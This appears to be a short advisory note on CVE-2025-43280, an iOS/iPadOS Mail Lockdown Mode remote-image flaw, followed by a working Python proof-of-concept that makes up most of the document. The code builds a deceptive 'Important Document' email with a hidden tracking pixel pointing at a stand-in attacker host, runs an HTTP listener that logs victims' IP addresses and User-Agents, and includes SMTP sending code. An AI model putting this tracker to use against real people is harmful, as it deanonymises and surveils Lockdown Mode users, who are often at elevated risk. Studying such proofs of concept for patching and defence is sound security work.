The issue was resolved by not loading remote images. This issue is fixed in iOS 18.6 and iPadOS 18.6. Forwarding an email could display remote images in Mail in Lockdown Mode.
The following code is for security research and authorized testing only.
python
# CVE-2025-43280 PoC - Apple iOS/iPadOS Mail Lockdown Mode Remote Image Disclosure
# This PoC demonstrates how a malicious email can leak user information
# even when the device is in Lockdown Mode, by exploiting the email forwarding feature.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
# Step 1: Craft a malicious email with a remote tracking image
def create_malicious_email(attacker_server, target_email):
"""
Create an email that contains a remote image URL.
When the victim forwards this email in Lockdown Mode,
the Mail app will automatically load the remote image,
leaking the victim's IP address and other info.
"""
msg = MIMEMultipart('related')
msg['Subject'] = 'Important Document - Please Review'
msg['From'] = '[email protected]'
msg['To'] = target_email
# HTML body with remote tracking image
html_content = f'''
<html>
<body>
<p>Dear User,</p>
<p>Please find the important document below:</p>
<img src="http://{attacker_server}/tracker.gif?email={target_email}"
width="1" height="1" alt="" />
<p>Best regards,<br>Sender</p>
</body>
</html>
'''
msg_html = MIMEText(html_content, 'html')
msg.attach(msg_html)
return msg
# Step 2: Attacker server to collect leaked information
from http.server import HTTPServer, BaseHTTPRequestHandler
class TrackerHandler(BaseHTTPRequestHandler):
def do_GET(self):
# Log the victim's information
client_ip = self.client_address[0]
user_agent = self.headers.get('User-Agent', 'Unknown')
path = self.path
print(f"[+] Victim information leaked!")
print(f" IP Address: {client_ip}")
print(f" User-Agent: {user_agent}")
print(f" Request Path: {path}")
# Return a 1x1 transparent GIF
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.end_headers()
# Minimal 1x1 transparent GIF bytes
self.wfile.write(b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;')
# Step 3: Send the malicious email
def send_email(smtp_server, smtp_port, username, password, msg):
"""Send the crafted malicious email via SMTP"""
with smtplib.SMTP(smtp_server, smtp_port) as server:
server.starttls()
server.login(username, password)
server.send_message(msg)
# Step 4: Start the tracking server
def start_tracker(port=8080):
"""Start HTTP server to collect leaked victim data"""
server = HTTPServer(('0.0.0.0', port), TrackerHandler)
print(f"[*] Tracker server listening on port {port}")
server.serve_forever()
if __name__ == '__main__':
# Configuration
ATTACKER_SERVER = 'attacker.com'
TARGET_EMAIL = '[email protected]'
SMTP_SERVER = 'smtp.malicious.com'
SMTP_PORT = 587
SMTP_USER = '[email protected]'
SMTP_PASS = 'password'
# Create and send malicious email
malicious_email = create_malicious_email(ATTACKER_SERVER, TARGET_EMAIL)
# send_email(SMTP_SERVER, SMTP_PORT, SMTP_USER, SMTP_PASS, malicious_email)
# Start tracking server to collect leaked data
# start_tracker(8080)
print("[*] PoC ready. Send the malicious email to target and wait for forwarding.")
print("[*] When victim forwards the email in Lockdown Mode, tracker will receive their IP.")